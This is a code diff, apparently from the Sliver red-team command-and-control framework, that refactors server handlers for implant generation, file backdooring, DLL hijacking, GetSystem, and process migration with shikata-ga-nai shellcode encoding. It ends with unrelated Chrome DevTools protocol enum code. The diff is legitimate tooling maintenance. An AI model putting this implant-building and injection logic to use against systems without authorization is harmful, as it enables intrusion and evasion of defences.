"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/grpc/codes"
|
||||
@@ -44,7 +46,7 @@ func (rpc *Server) Backdoor(ctx context.Context, req *sliverpb.BackdoorReq) (*sl
|
||||
download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: int64(30),
|
||||
Timeout: req.Request.Timeout,
|
||||
},
|
||||
Path: req.FilePath,
|
||||
})
|
||||
@@ -76,12 +78,24 @@ func (rpc *Server) Backdoor(ctx context.Context, req *sliverpb.BackdoorReq) (*sl
|
||||
return nil, fmt.Errorf("please select a profile targeting a shellcode format")
|
||||
}
|
||||
|
||||
if p.Config.Name == "" {
|
||||
p.Config.Name, err = codenames.GetCodename()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
name, config := generate.ImplantConfigFromProtobuf(p.Config)
|
||||
fPath, err := generate.SliverShellcode(name, config)
|
||||
otpSecret, _ := cryptography.TOTPServerSecret()
|
||||
err = generate.GenerateConfig(name, config, true)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
fPath, err := generate.SliverShellcode(name, otpSecret, config, true)
|
||||
if err != nil {
|
||||
return nil, status.Error(codes.Internal, err.Error())
|
||||
}
|
||||
shellcode, err := ioutil.ReadFile(fPath)
|
||||
shellcode, err := os.ReadFile(fPath)
|
||||
if err != nil {
|
||||
return nil, status.Error(codes.Internal, err.Error())
|
||||
}
|
||||
@@ -100,7 +114,7 @@ func (rpc *Server) Backdoor(ctx context.Context, req *sliverpb.BackdoorReq) (*sl
|
||||
Path: req.FilePath,
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: int64(30),
|
||||
Timeout: req.Request.Timeout,
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -13,8 +13,8 @@ var (
|
||||
)
|
||||
|
||||
// Events - Stream events to client
|
||||
func (s *Server) Events(_ *commonpb.Empty, stream rpcpb.SliverRPC_EventsServer) error {
|
||||
commonName := s.getClientCommonName(stream.Context())
|
||||
func (rpc *Server) Events(_ *commonpb.Empty, stream rpcpb.SliverRPC_EventsServer) error {
|
||||
commonName := rpc.getClientCommonName(stream.Context())
|
||||
client := core.NewClient(commonName)
|
||||
core.Clients.Add(client)
|
||||
events := core.EventBroker.Subscribe()
|
||||
|
||||
+122
-27
@@ -22,7 +22,6 @@ import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
@@ -30,6 +29,8 @@ import (
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
@@ -37,6 +38,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/gofrs/uuid"
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
)
|
||||
@@ -56,7 +58,15 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if config.TemplateName == "" {
|
||||
config.TemplateName = generate.SliverTemplateName
|
||||
}
|
||||
|
||||
otpSecret, _ := cryptography.TOTPServerSecret()
|
||||
err = generate.GenerateConfig(name, config, true)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if config == nil {
|
||||
return nil, errors.New("invalid implant config")
|
||||
}
|
||||
@@ -64,11 +74,11 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
|
||||
case clientpb.OutputFormat_SERVICE:
|
||||
fallthrough
|
||||
case clientpb.OutputFormat_EXECUTABLE:
|
||||
fPath, err = generate.SliverExecutable(name, config)
|
||||
fPath, err = generate.SliverExecutable(name, otpSecret, config, true)
|
||||
case clientpb.OutputFormat_SHARED_LIB:
|
||||
fPath, err = generate.SliverSharedLibrary(name, config)
|
||||
fPath, err = generate.SliverSharedLibrary(name, otpSecret, config, true)
|
||||
case clientpb.OutputFormat_SHELLCODE:
|
||||
fPath, err = generate.SliverShellcode(name, config)
|
||||
fPath, err = generate.SliverShellcode(name, otpSecret, config, true)
|
||||
default:
|
||||
return nil, fmt.Errorf("invalid output format: %s", req.Config.Format)
|
||||
}
|
||||
@@ -77,20 +87,20 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
|
||||
return nil, err
|
||||
}
|
||||
|
||||
filename := filepath.Base(fPath)
|
||||
fileData, err := ioutil.ReadFile(fPath)
|
||||
fileName := filepath.Base(fPath)
|
||||
fileData, err := os.ReadFile(fPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
core.EventBroker.Publish(core.Event{
|
||||
EventType: consts.BuildCompletedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s build completed", filename)),
|
||||
Data: []byte(fileName),
|
||||
})
|
||||
|
||||
return &clientpb.Generate{
|
||||
File: &commonpb.File{
|
||||
Name: filename,
|
||||
Name: fileName,
|
||||
Data: fileData,
|
||||
},
|
||||
}, err
|
||||
@@ -101,7 +111,8 @@ func (rpc *Server) Regenerate(ctx context.Context, req *clientpb.RegenerateReq)
|
||||
|
||||
build, err := db.ImplantBuildByName(req.ImplantName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
rpcLog.Errorf("Failed to find implant %s: %s", req.ImplantName, err)
|
||||
return nil, status.Error(codes.InvalidArgument, "invalid implant name")
|
||||
}
|
||||
|
||||
fileData, err := generate.ImplantFileFromBuild(build)
|
||||
@@ -259,7 +270,7 @@ func (rpc *Server) GetCompiler(ctx context.Context, _ *commonpb.Empty) (*clientp
|
||||
// *** External builder RPCs ***
|
||||
|
||||
// Generate - Generate a new implant
|
||||
func (rpc *Server) GenerateExternal(ctx context.Context, req *clientpb.GenerateReq) (*clientpb.ExternalImplantConfig, error) {
|
||||
func (rpc *Server) GenerateExternal(ctx context.Context, req *clientpb.ExternalGenerateReq) (*clientpb.ExternalImplantConfig, error) {
|
||||
var err error
|
||||
name, config := generate.ImplantConfigFromProtobuf(req.Config)
|
||||
if name == "" {
|
||||
@@ -271,7 +282,6 @@ func (rpc *Server) GenerateExternal(ctx context.Context, req *clientpb.GenerateR
|
||||
if config == nil {
|
||||
return nil, errors.New("invalid implant config")
|
||||
}
|
||||
req.Config.Format = clientpb.OutputFormat_EXTERNAL
|
||||
externalConfig, err := generate.SliverExternal(name, config)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -279,19 +289,19 @@ func (rpc *Server) GenerateExternal(ctx context.Context, req *clientpb.GenerateR
|
||||
|
||||
core.EventBroker.Publish(core.Event{
|
||||
EventType: consts.ExternalBuildEvent,
|
||||
Data: []byte(config.ID.String()),
|
||||
Data: []byte(fmt.Sprintf("%s:%s", req.BuilderName, config.ID.String())),
|
||||
})
|
||||
|
||||
return externalConfig, err
|
||||
}
|
||||
|
||||
func (rpc *Server) GenerateExternalSaveBuild(ctx context.Context, req *clientpb.ExternalImplantBinary) (*commonpb.Empty, error) {
|
||||
implantConfig, err := db.ImplantConfigByID(req.ImplantConfigID)
|
||||
implantConfig, err := db.ImplantConfigWithC2sByID(req.ImplantConfigID)
|
||||
if err != nil {
|
||||
return nil, status.Error(codes.InvalidArgument, "invalid implant config id")
|
||||
}
|
||||
if implantConfig.Format != clientpb.OutputFormat_EXTERNAL {
|
||||
return nil, status.Error(codes.InvalidArgument, "invalid implant config format")
|
||||
if implantConfig.TemplateName == "" {
|
||||
return nil, status.Error(codes.InvalidArgument, "invalid payload name")
|
||||
}
|
||||
err = util.AllowedName(req.Name)
|
||||
if err != nil {
|
||||
@@ -300,10 +310,11 @@ func (rpc *Server) GenerateExternalSaveBuild(ctx context.Context, req *clientpb.
|
||||
}
|
||||
_, err = db.ImplantBuildByName(req.Name)
|
||||
if err == nil {
|
||||
rpcLog.Errorf("Build '%s' already exists!", req.Name)
|
||||
return nil, ErrBuildExists
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-external-build")
|
||||
tmpFile, err := os.CreateTemp(assets.GetRootAppDir(), "tmp-external-build-*")
|
||||
if err != nil {
|
||||
rpcLog.Errorf("Failed to create temporary file: %s", err)
|
||||
return nil, status.Error(codes.Internal, "Failed to write implant binary to temp file")
|
||||
@@ -314,31 +325,31 @@ func (rpc *Server) GenerateExternalSaveBuild(ctx context.Context, req *clientpb.
|
||||
rcpLog.Errorf("Failed to write implant binary to temp file: %s", err)
|
||||
return nil, status.Error(codes.Internal, "Failed to write implant binary to temp file")
|
||||
}
|
||||
err = generate.ImplantBuildSave(req.Name, implantConfig, "")
|
||||
rpcLog.Infof("Saving external build '%s' from %s", req.Name, tmpFile.Name())
|
||||
|
||||
implantConfig.FileName = req.File.Name
|
||||
generate.ImplantConfigSave(implantConfig)
|
||||
err = generate.ImplantBuildSave(req.Name, implantConfig, tmpFile.Name())
|
||||
if err != nil {
|
||||
rpcLog.Errorf("Failed to save external build: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
core.EventBroker.Publish(core.Event{
|
||||
EventType: consts.BuildCompletedEvent,
|
||||
Data: []byte(fmt.Sprintf("%s build completed", req.Name)),
|
||||
Data: []byte(req.Name),
|
||||
})
|
||||
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
|
||||
func (rpc *Server) GenerateExternalGetImplantConfig(ctx context.Context, req *clientpb.ImplantConfig) (*clientpb.ExternalImplantConfig, error) {
|
||||
implantConfig, err := db.ImplantConfigByID(req.ID)
|
||||
implantConfig, err := db.ImplantConfigWithC2sByID(req.ID)
|
||||
if err != nil {
|
||||
return nil, status.Error(codes.InvalidArgument, "invalid implant config id")
|
||||
}
|
||||
if implantConfig.Format != clientpb.OutputFormat_EXTERNAL {
|
||||
return nil, status.Error(codes.InvalidArgument, "invalid implant config format")
|
||||
}
|
||||
|
||||
name, err := codenames.GetCodename()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
if implantConfig.ImplantBuildID != uuid.Nil {
|
||||
return nil, status.Error(codes.InvalidArgument, "implant config already has a build")
|
||||
}
|
||||
|
||||
otpSecret, err := cryptography.TOTPServerSecret()
|
||||
@@ -347,8 +358,92 @@ func (rpc *Server) GenerateExternalGetImplantConfig(ctx context.Context, req *cl
|
||||
}
|
||||
|
||||
return &clientpb.ExternalImplantConfig{
|
||||
Name: name,
|
||||
Config: implantConfig.ToProtobuf(),
|
||||
OTPSecret: otpSecret,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// BuilderRegister
|
||||
func (rpc *Server) BuilderRegister(req *clientpb.Builder, stream rpcpb.SliverRPC_BuilderRegisterServer) error {
|
||||
req.OperatorName = rpc.getClientCommonName(stream.Context())
|
||||
if req.Name == "" {
|
||||
rcpLog.Warnf("Failed to register builder, missing builder name")
|
||||
return status.Error(codes.InvalidArgument, "missing builder name")
|
||||
}
|
||||
err := core.AddBuilder(req)
|
||||
if err != nil {
|
||||
rcpLog.Warnf("Failed to register builder: %s", err)
|
||||
return status.Error(codes.InvalidArgument, err.Error())
|
||||
}
|
||||
|
||||
rpcEventsLog.Infof("Builder %s (%s) connected", req.Name, req.OperatorName)
|
||||
events := core.EventBroker.Subscribe()
|
||||
defer func() {
|
||||
rpcEventsLog.Infof("Builder %s disconnected", req.Name)
|
||||
core.EventBroker.Unsubscribe(events)
|
||||
core.RemoveBuilder(req.Name)
|
||||
}()
|
||||
|
||||
// Only forward these event types to the builder
|
||||
buildEvents := []string{
|
||||
consts.ExternalBuildEvent,
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-stream.Context().Done():
|
||||
return nil
|
||||
case event := <-events:
|
||||
if !util.Contains(buildEvents, event.EventType) {
|
||||
continue // Skip events not relevant to the builder
|
||||
}
|
||||
|
||||
pbEvent := &clientpb.Event{
|
||||
EventType: event.EventType,
|
||||
Data: event.Data,
|
||||
}
|
||||
if event.Job != nil {
|
||||
pbEvent.Job = event.Job.ToProtobuf()
|
||||
}
|
||||
if event.Client != nil {
|
||||
pbEvent.Client = event.Client.ToProtobuf()
|
||||
}
|
||||
if event.Session != nil {
|
||||
pbEvent.Session = event.Session.ToProtobuf()
|
||||
}
|
||||
if event.Err != nil {
|
||||
pbEvent.Err = event.Err.Error()
|
||||
}
|
||||
|
||||
err := stream.Send(pbEvent)
|
||||
if err != nil {
|
||||
rpcEventsLog.Warnf(err.Error())
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (rpc *Server) Builders(ctx context.Context, _ *commonpb.Empty) (*clientpb.Builders, error) {
|
||||
return &clientpb.Builders{Builders: core.AllBuilders()}, nil
|
||||
}
|
||||
|
||||
func (rpc *Server) BuilderTrigger(ctx context.Context, req *clientpb.Event) (*commonpb.Empty, error) {
|
||||
|
||||
switch req.EventType {
|
||||
|
||||
// Only allow certain event types to be triggered
|
||||
case consts.ExternalBuildFailedEvent:
|
||||
fallthrough
|
||||
case consts.AcknowledgeBuildEvent:
|
||||
fallthrough
|
||||
case consts.ExternalBuildCompletedEvent:
|
||||
core.EventBroker.Publish(core.Event{
|
||||
EventType: req.EventType,
|
||||
Data: req.Data,
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
@@ -24,7 +24,7 @@ import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
@@ -36,6 +36,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
)
|
||||
@@ -105,7 +106,6 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
|
||||
"please select a profile targeting a shared library format",
|
||||
)
|
||||
}
|
||||
|
||||
name, config := generate.ImplantConfigFromProtobuf(p.Config)
|
||||
if name == "" {
|
||||
name, err = codenames.GetCodename()
|
||||
@@ -113,12 +113,17 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
fPath, err := generate.SliverSharedLibrary(name, config)
|
||||
otpSecret, _ := cryptography.TOTPServerSecret()
|
||||
err = generate.GenerateConfig(name, config, true)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
fPath, err := generate.SliverSharedLibrary(name, otpSecret, config, true)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
targetDLLData, err = ioutil.ReadFile(fPath)
|
||||
targetDLLData, err = os.ReadFile(fPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
+10
-4
@@ -20,7 +20,7 @@ package rpc
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
@@ -82,7 +83,7 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
|
||||
}
|
||||
|
||||
name := path.Base(req.Config.GetName())
|
||||
shellcode, err := getSliverShellcode(name)
|
||||
shellcode, _, err := getSliverShellcode(name)
|
||||
if err != nil {
|
||||
name, config := generate.ImplantConfigFromProtobuf(req.Config)
|
||||
if name == "" {
|
||||
@@ -93,11 +94,16 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
|
||||
}
|
||||
config.Format = clientpb.OutputFormat_SHELLCODE
|
||||
config.ObfuscateSymbols = false
|
||||
shellcodePath, err := generate.SliverShellcode(name, config)
|
||||
otpSecret, _ := cryptography.TOTPServerSecret()
|
||||
err = generate.GenerateConfig(name, config, true)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
shellcode, _ = ioutil.ReadFile(shellcodePath)
|
||||
shellcodePath, err := generate.SliverShellcode(name, otpSecret, config, true)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
shellcode, _ = os.ReadFile(shellcodePath)
|
||||
}
|
||||
data, err := proto.Marshal(&sliverpb.InvokeGetSystemReq{
|
||||
Data: shellcode,
|
||||
|
||||
@@ -51,10 +51,7 @@ func (rpc *Server) Reconfigure(ctx context.Context, req *sliverpb.ReconfigureReq
|
||||
if req.ReconnectInterval != 0 {
|
||||
session.ReconnectInterval = req.ReconnectInterval
|
||||
}
|
||||
err = db.Session().Save(session).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
core.Sessions.UpdateSession(session)
|
||||
} else if beaconID != "" {
|
||||
beacon, err := db.BeaconByID(beaconID)
|
||||
if err != nil || beacon == nil {
|
||||
|
||||
+44
-15
@@ -23,8 +23,8 @@ import (
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"path"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
@@ -33,11 +33,15 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/sgn"
|
||||
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
@@ -62,8 +66,8 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
|
||||
if session == nil {
|
||||
return nil, ErrInvalidSessionID
|
||||
}
|
||||
name := path.Base(req.Config.GetName())
|
||||
shellcode, err := getSliverShellcode(name)
|
||||
name := filepath.Base(req.Config.GetName())
|
||||
shellcode, arch, err := getSliverShellcode(name)
|
||||
if err != nil {
|
||||
name, config := generate.ImplantConfigFromProtobuf(req.Config)
|
||||
if name == "" {
|
||||
@@ -74,12 +78,32 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
|
||||
}
|
||||
config.Format = clientpb.OutputFormat_SHELLCODE
|
||||
config.ObfuscateSymbols = true
|
||||
shellcodePath, err := generate.SliverShellcode(name, config)
|
||||
otpSecret, _ := cryptography.TOTPServerSecret()
|
||||
err = generate.GenerateConfig(name, config, true)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
shellcode, _ = ioutil.ReadFile(shellcodePath)
|
||||
shellcodePath, err := generate.SliverShellcode(name, otpSecret, config, true)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
shellcode, _ = os.ReadFile(shellcodePath)
|
||||
}
|
||||
|
||||
if len(shellcode) < 1 {
|
||||
return nil, status.Error(codes.OutOfRange, "shellcode is zero bytes")
|
||||
}
|
||||
|
||||
switch req.Encoder {
|
||||
|
||||
case clientpb.ShellcodeEncoder_SHIKATA_GA_NAI:
|
||||
shellcode, err = sgn.EncodeShellcode(shellcode, arch, 1, []byte{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
reqData, err := proto.Marshal(&sliverpb.InvokeMigrateReq{
|
||||
Request: req.Request,
|
||||
Data: shellcode,
|
||||
@@ -268,48 +292,53 @@ func getOS(session *core.Session, beacon *models.Beacon) string {
|
||||
}
|
||||
|
||||
// Utility functions
|
||||
func getSliverShellcode(name string) ([]byte, error) {
|
||||
func getSliverShellcode(name string) ([]byte, string, error) {
|
||||
var data []byte
|
||||
build, err := db.ImplantBuildByName(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
return nil, "", err
|
||||
}
|
||||
|
||||
switch build.ImplantConfig.Format {
|
||||
|
||||
case clientpb.OutputFormat_SHELLCODE:
|
||||
fileData, err := generate.ImplantFileFromBuild(build)
|
||||
if err != nil {
|
||||
return data, err
|
||||
return []byte{}, "", err
|
||||
}
|
||||
data = fileData
|
||||
|
||||
case clientpb.OutputFormat_EXECUTABLE:
|
||||
// retrieve EXE from db
|
||||
fileData, err := generate.ImplantFileFromBuild(build)
|
||||
rpcLog.Debugf("Found implant. Len: %d\n", len(fileData))
|
||||
if err != nil {
|
||||
return data, err
|
||||
return []byte{}, "", err
|
||||
}
|
||||
data, err = generate.DonutShellcodeFromPE(fileData, build.ImplantConfig.GOARCH, false, "", "", "", false, false)
|
||||
if err != nil {
|
||||
rpcLog.Errorf("DonutShellcodeFromPE error: %v\n", err)
|
||||
return data, err
|
||||
return []byte{}, "", err
|
||||
}
|
||||
|
||||
case clientpb.OutputFormat_SHARED_LIB:
|
||||
// retrieve DLL from db
|
||||
fileData, err := generate.ImplantFileFromBuild(build)
|
||||
if err != nil {
|
||||
return data, err
|
||||
return []byte{}, "", err
|
||||
}
|
||||
data, err = generate.ShellcodeRDIFromBytes(fileData, "RunSliver", "")
|
||||
data, err = generate.ShellcodeRDIFromBytes(fileData, "StartW", "")
|
||||
if err != nil {
|
||||
return data, err
|
||||
return []byte{}, "", err
|
||||
}
|
||||
|
||||
case clientpb.OutputFormat_SERVICE:
|
||||
fallthrough
|
||||
default:
|
||||
err = fmt.Errorf("no existing shellcode found")
|
||||
}
|
||||
return data, err
|
||||
|
||||
return data, build.ImplantConfig.GOARCH, err
|
||||
}
|
||||
|
||||
// ExportDirectory - stores the Export data
|
||||
|
||||
+11
-10
@@ -22,7 +22,6 @@ import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
@@ -35,6 +34,8 @@ import (
|
||||
|
||||
var (
|
||||
sgnLog = log.NamedLogger("shellcode", "sgn")
|
||||
|
||||
ErrFailedToEncode = errors.New("failed to encode shellcode")
|
||||
)
|
||||
|
||||
// SGNConfig - Configuration for sgn
|
||||
@@ -90,21 +91,21 @@ func sgnCmd(appDir string, cwd string, command []string) ([]byte, error) {
|
||||
// EncodeShellcode - Encode a shellcode
|
||||
func EncodeShellcode(shellcode []byte, arch string, iterations int, badChars []byte) ([]byte, error) {
|
||||
sgnLog.Infof("[sgn] EncodeShellcode: %d bytes", len(shellcode))
|
||||
inputFile, err := ioutil.TempFile("", "sgn")
|
||||
inputFile, err := os.CreateTemp("", "sgn")
|
||||
if err != nil {
|
||||
sgnLog.Error(err)
|
||||
return nil, errors.New("Failed to encode shellcode")
|
||||
return nil, ErrFailedToEncode
|
||||
}
|
||||
_, err = inputFile.Write(shellcode)
|
||||
if err != nil {
|
||||
sgnLog.Error(err)
|
||||
return nil, errors.New("Failed to encode shellcode")
|
||||
return nil, ErrFailedToEncode
|
||||
}
|
||||
defer os.Remove(inputFile.Name())
|
||||
outputFile, err := ioutil.TempFile("", "sgn")
|
||||
outputFile, err := os.CreateTemp("", "sgn")
|
||||
if err != nil {
|
||||
sgnLog.Error(err)
|
||||
return nil, errors.New("Failed to encode shellcode")
|
||||
return nil, ErrFailedToEncode
|
||||
}
|
||||
outputFile.Close()
|
||||
defer os.Remove(outputFile.Name())
|
||||
@@ -127,12 +128,12 @@ func EncodeShellcode(shellcode []byte, arch string, iterations int, badChars []b
|
||||
_, err = sgnCmd(config.AppDir, ".", configToArgs(config))
|
||||
if err != nil {
|
||||
sgnLog.Error(err)
|
||||
return nil, errors.New("Failed to encode shellcode")
|
||||
return nil, ErrFailedToEncode
|
||||
}
|
||||
data, err := ioutil.ReadFile(outputFile.Name())
|
||||
data, err := os.ReadFile(outputFile.Name())
|
||||
if err != nil {
|
||||
sgnLog.Error(err)
|
||||
return nil, errors.New("Failed to encode shellcode")
|
||||
return nil, ErrFailedToEncode
|
||||
}
|
||||
sgnLog.Infof("[sgn] successfully encoded to %d bytes", len(data))
|
||||
return data, nil
|
||||
@@ -183,7 +184,7 @@ func configToArgs(config SGNConfig) []string {
|
||||
for _, b := range config.BadChars {
|
||||
badChars = append(badChars, fmt.Sprintf("\\x%02x", b))
|
||||
}
|
||||
args = append(args, "-b", fmt.Sprintf("%s", strings.Join(badChars, "")))
|
||||
args = append(args, "-b", strings.Join(badChars, ""))
|
||||
}
|
||||
|
||||
// Verbose
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
package util
|
||||
|
||||
func Contains[T comparable](elements []T, v T) bool {
|
||||
for _, s := range elements {
|
||||
if v == s {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
+9
-6
@@ -802,6 +802,7 @@ func (t AttributionReportingIssueType) String() string {
|
||||
// AttributionReportingIssueType values.
|
||||
const (
|
||||
AttributionReportingIssueTypePermissionPolicyDisabled AttributionReportingIssueType = "PermissionPolicyDisabled"
|
||||
AttributionReportingIssueTypePermissionPolicyNotDelegated AttributionReportingIssueType = "PermissionPolicyNotDelegated"
|
||||
AttributionReportingIssueTypeUntrustworthyReportingOrigin AttributionReportingIssueType = "UntrustworthyReportingOrigin"
|
||||
AttributionReportingIssueTypeInsecureContext AttributionReportingIssueType = "InsecureContext"
|
||||
AttributionReportingIssueTypeInvalidHeader AttributionReportingIssueType = "InvalidHeader"
|
||||
@@ -828,6 +829,8 @@ func (t *AttributionReportingIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch AttributionReportingIssueType(in.String()) {
|
||||
case AttributionReportingIssueTypePermissionPolicyDisabled:
|
||||
*t = AttributionReportingIssueTypePermissionPolicyDisabled
|
||||
case AttributionReportingIssueTypePermissionPolicyNotDelegated:
|
||||
*t = AttributionReportingIssueTypePermissionPolicyNotDelegated
|
||||
case AttributionReportingIssueTypeUntrustworthyReportingOrigin:
|
||||
*t = AttributionReportingIssueTypeUntrustworthyReportingOrigin
|
||||
case AttributionReportingIssueTypeInsecureContext:
|
||||
@@ -971,7 +974,6 @@ const (
|
||||
DeprecationIssueTypeHostCandidateAttributeGetter DeprecationIssueType = "HostCandidateAttributeGetter"
|
||||
DeprecationIssueTypeIdentityInCanMakePaymentEvent DeprecationIssueType = "IdentityInCanMakePaymentEvent"
|
||||
DeprecationIssueTypeInsecurePrivateNetworkSubresourceRequest DeprecationIssueType = "InsecurePrivateNetworkSubresourceRequest"
|
||||
DeprecationIssueTypeLegacyConstraintGoogIPV6 DeprecationIssueType = "LegacyConstraintGoogIPv6"
|
||||
DeprecationIssueTypeLocalCSSFileExtensionRejected DeprecationIssueType = "LocalCSSFileExtensionRejected"
|
||||
DeprecationIssueTypeMediaSourceAbortRemove DeprecationIssueType = "MediaSourceAbortRemove"
|
||||
DeprecationIssueTypeMediaSourceDurationTruncatingBuffered DeprecationIssueType = "MediaSourceDurationTruncatingBuffered"
|
||||
@@ -1062,8 +1064,6 @@ func (t *DeprecationIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = DeprecationIssueTypeIdentityInCanMakePaymentEvent
|
||||
case DeprecationIssueTypeInsecurePrivateNetworkSubresourceRequest:
|
||||
*t = DeprecationIssueTypeInsecurePrivateNetworkSubresourceRequest
|
||||
case DeprecationIssueTypeLegacyConstraintGoogIPV6:
|
||||
*t = DeprecationIssueTypeLegacyConstraintGoogIPV6
|
||||
case DeprecationIssueTypeLocalCSSFileExtensionRejected:
|
||||
*t = DeprecationIssueTypeLocalCSSFileExtensionRejected
|
||||
case DeprecationIssueTypeMediaSourceAbortRemove:
|
||||
@@ -1223,7 +1223,7 @@ func (t FederatedAuthRequestIssueReason) String() string {
|
||||
|
||||
// FederatedAuthRequestIssueReason values.
|
||||
const (
|
||||
FederatedAuthRequestIssueReasonApprovalDeclined FederatedAuthRequestIssueReason = "ApprovalDeclined"
|
||||
FederatedAuthRequestIssueReasonShouldEmbargo FederatedAuthRequestIssueReason = "ShouldEmbargo"
|
||||
FederatedAuthRequestIssueReasonTooManyRequests FederatedAuthRequestIssueReason = "TooManyRequests"
|
||||
FederatedAuthRequestIssueReasonManifestListHTTPNotFound FederatedAuthRequestIssueReason = "ManifestListHttpNotFound"
|
||||
